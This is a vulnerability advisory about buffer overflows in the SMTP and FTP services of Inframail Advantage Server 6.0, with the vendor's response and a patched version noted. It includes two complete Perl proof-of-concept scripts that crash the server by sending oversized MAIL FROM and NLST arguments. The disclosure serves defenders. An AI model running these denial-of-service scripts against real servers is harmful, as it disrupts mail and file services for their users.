Multiple buffer overflows exist in Infradig Systems Inframail Advantage Server Edition 6.0

[Reed Arvin]

Summary:
Multiple buffer overflows exist in Infradig Systems Inframail
Advantage Server Edition 6.0
(http://www.infradig.com/)

Details:
Input to the SMTP MAIL FROM: command and the FTP NLST command is not
properly checked and/or filtered. Issuing the character 'A' roughly
40960 times as an argument to the MAIL FROM: command will cause the
ifmail.exe process to die and re-launch. Issuing the character 'A'
roughly 102400 times to the NLST command and then issuing the
character 'A' roughly 102400 times to the NLST command again will
cause all processes running under the ifmailsvc.exe process to die and
re-launch (these processes include slapd.exe, slurpd.exe, ifmail.exe,
ifweb.exe, etc.).

Vulnerable Versions:
Infradig Systems Inframail Advantage Server Edition 6.0 (Version: 6.37)

Patches/Workarounds:
The vendor was notified of the issue. Here is the vendor response:

"The current release of Inframail is v7.11 and we have 1) been able to
reproduce the SMTP crash, but 2) not the FTP one. The SMTP crash is
fixed in the release Inframail v7.12 just out."

A patched version of the affected software has been released (Version:
7.12) and is available from http://www.infradig.com/.

Exploits:
Run the following PERL scripts against the server. The corresponding
processes will die and then re-launch.

#=3D=3D=3D=3D=3D Start Inframail_SMTPOverflow.pl =3D=3D=3D=3D=3D
#
# Usage: Inframail_SMTPOverflow.pl <ip>
# Inframail_SMTPOverflow.pl 127.0.0.1
#
# Infradig Systems Inframail Advantage Server Edition 6.0
# (Version: 6.37)
#
# Download:
# http://www.infradig.com/
#
################################################## #########

use IO::Socket;
use strict;

my($socket) =3D "";

if ($socket =3D IO::Socket::INET->new(PeerAddr =3D> $ARGV[0],
PeerPort =3D> "25",
Proto =3D> "TCP"))
{
print "Attempting to kill Inframail SMTP server at $ARGV[0]:25...";

sleep(1);

print $socket "HELO moto.com\r\n";

sleep(1);

print $socket "MAIL FROM:" . "A" x 40960 . "\r\n";

close($socket);
}
else
{
print "Cannot connect to $ARGV[0]:25\n";
}
#=3D=3D=3D=3D=3D End Inframail_SMTPOverflow.pl =3D=3D=3D=3D=3D

#=3D=3D=3D=3D=3D Start Inframail_FTPOverflow.pl =3D=3D=3D=3D=3D
#
# Usage: Inframail_FTPOverflow.pl <ip>
# Inframail_FTPOverflow.pl 127.0.0.1
#
# Infradig Systems Inframail Advantage Server Edition 6.0
# (Version: 6.37)
#
# Download:
# http://www.infradig.com/
#
################################################## #########

use IO::Socket;
use strict;

my($socket) =3D "";

if ($socket =3D IO::Socket::INET->new(PeerAddr =3D> $ARGV[0],
PeerPort =3D> "21",
Proto =3D> "TCP"))
{
print "Attempting to kill Inframail FTP server at $ARGV[0]:21...";

sleep(1);

print $socket "USER hello\r\n";

sleep(1);

print $socket "PASS moto\r\n";

sleep(1);

print $socket "NLST " . "A" x 102400 . "\r\n";

sleep(1);

print $socket "NLST " . "A" x 102400 . "\r\n";

close($socket);
}
else
{
print "Cannot connect to $ARGV[0]:21\n";
}
#=3D=3D=3D=3D=3D End Inframail_FTPOverflow.pl =3D=3D=3D=3D=3D

Discovered by Reed Arvin reedarvin[at]gmail[dot]com
(http://reedarvin.thearvins.com/)

Vulnerability discovered using PeachFuzz
(http://reedarvin.thearvins.com/tools.html